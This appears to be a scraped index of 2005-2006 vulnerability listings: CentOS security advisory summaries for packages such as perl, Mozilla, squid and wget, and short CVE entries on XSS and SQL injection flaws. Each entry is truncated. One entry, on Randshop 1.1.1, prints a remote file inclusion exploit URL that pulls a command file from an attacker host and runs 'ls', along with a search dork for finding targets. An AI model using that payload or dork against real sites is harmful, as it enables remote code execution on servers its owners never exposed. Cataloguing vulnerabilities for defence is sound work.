CentOS 3 : perl (CESA-2005:881)

Updated Perl packages that fix security issues and bugs are now available for Red Hat Enterprise Linux 3. This update has been rated as having moderate security impact by the Red Hat Security Response Team. Perl is a high-level programming language commonly used for system administration utilitie...

CentOS 3 / 4 : ImageMagick (CESA-2005:413)

Updated ImageMagick packages that fix a buffer overflow issue are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. ImageMagickTM is an image display and manipulation tool for the X Window System which can read and write multiple...

CentOS 3 / 4 : Mozilla (CESA-2005:789)

Updated mozilla packages that fix several security bugs are now available. This update has been rated as having critical security impact by the Red Hat Security Response Team. Mozilla is an open source Web browser, advanced email and newsgroup client, IRC chat client, and HTML editor. A bug was...

CentOS 3 / 4 : openmotif (CESA-2005:412)

Updated openmotif packages that fix a flaw in the Xpm image library are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. OpenMotif provides libraries which implement the Motif industry standard graphical user interface. An integer...

CentOS 3 / 4 : gtk2 (CESA-2005:344)

Updated gtk2 packages that fix a double free vulnerability are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. The gtk2 package contains the GIMP ToolKit GTK+, a library for creating graphical user interfaces for the X Window...

CentOS 3 : binutils (CESA-2005:659)

An updated binutils package that fixes several bugs and minor security issues is now available. This update has been rated as having low security impact by the Red Hat Security Response Team. Binutils is a collection of utilities used for the creation of executable code. A number of bugs were fou...

CentOS 3 / 4 : openmotif (CESA-2006:0272)

Updated openmotif packages that fix a security issue are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. OpenMotif provides libraries which implement the Motif industry standard graphical user interface. A number of buffer overfl...

CentOS 3 / 4 : ImageMagick (CESA-2006:0178)

Updated ImageMagick packages that fix two security issues are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. ImageMagickTM is an image display and manipulation tool for the X Window System that can read and write multiple image...

CentOS 3 / 4 : mozilla (CESA-2005:435)

Updated mozilla packages that fix various security bugs are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. Updated 24 May 2005 This erratum now includes updated devhelp packages which are required to satisfy a dependency on...

CentOS 3 / 4 : squid (CESA-2005:766)

An updated Squid package that fixes security issues is now available. This update has been rated as having important security impact by the Red Hat Security Response Team. Squid is a full-featured Web proxy cache. A bug was found in the way Squid displays error messages. A remote attacker could...

CentOS 3 : tcpdump (CESA-2005:421)

Updated tcpdump packages that fix several security issues are now available. This update has been rated as having moderate security impact by the Red Hat Security Response Team. These updated packages also add support for output files larger than 2 GB, add support for some new VLAN IDs, and fix...

CentOS 3 / 4 : cups (CESA-2006:0163)

Updated CUPS packages that fix multiple security issues are now available for Red Hat Enterprise Linux. This update has been rated as having important security impact by the Red Hat Security Response Team. The Common UNIX Printing System CUPS provides a portable printing layer for UNIXR operating...

CentOS 3 / 4 : wget (CESA-2005:812)

Updated wget packages that fix a security issue are now available. This update has been rated as having important security impact by the Red Hat Security Response Team. GNU Wget is a file retrieval utility that can use either the HTTP or FTP protocols. A stack based buffer overflow bug was found ...

Randshop <= 1.1.1 (header.inc.php) Remote File Include Vulnerability

No description provided by source. Title : randshop = 1.1.1 Remote File Inclusion Vulnerability - URL : http://www.randshop.com/ - Author : OLiBekaS - contact : olibekasatgmail.com - dork : "software 2004-2005 by randshop" - exploit :...

Randshop 1.1.1 - 'header.inc.php' Remote File Inclusion

Title : randshop = 1.1.1 Remote File Inclusion Vulnerability - URL : http://www.randshop.com/ - Author : OLiBekaS - contact : olibekasatgmail.com - dork : "software 2004-2005 by randshop" - exploit : http://target/path/includes/header.inc.php?dateiPfad=http://attacker/cmd.txt?&cmd=ls - greatz :...

MailEnable SMTP AUTH LOGIN buffer overflow

Added: 06/30/2006 CVE: CVE-2005-1781 BID: 13772 OSVDB: 16851 Background MailEnable is a mail server supporting SMTP and POP3 for Windows platforms. MailEnable Professional and MailEnable Enterprise also include IMAP and HTTPMail services. Problem The SMTP service in MailEnable is affected by a...

IMAP Directory Traversal (CAN-2005-1902; CAN-2006-2414)

...

CVE-2006-3095

Multiple cross-site scripting XSS vulnerabilities in iPostMX 2005 2.0 and earlier allow remote attackers to inject arbitrary web script or HTML via the RETURNURL parameter in 1 userlogin.cfm and 2 account.cfm...

CVE-2006-3096

Multiple SQL injection vulnerabilities in iPostMX 2005 2.0 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 forum parameter in messagepost.cfm and 2 topic parameter in topics.cfm. NOTE: this item was created based on information in a blog entry that was apparently...

CVE-2006-2990

The CVE-2006-2990 entry describes a Cross-site scripting (XSS) vulnerability in VanillaSoft Helpdesk 2005 and earlier, exploitable via the username parameter in default.asp. Affected software: VanillaSoft Helpdesk (2005 and earlier). Root cause: improper handling of user-supplied username enablin...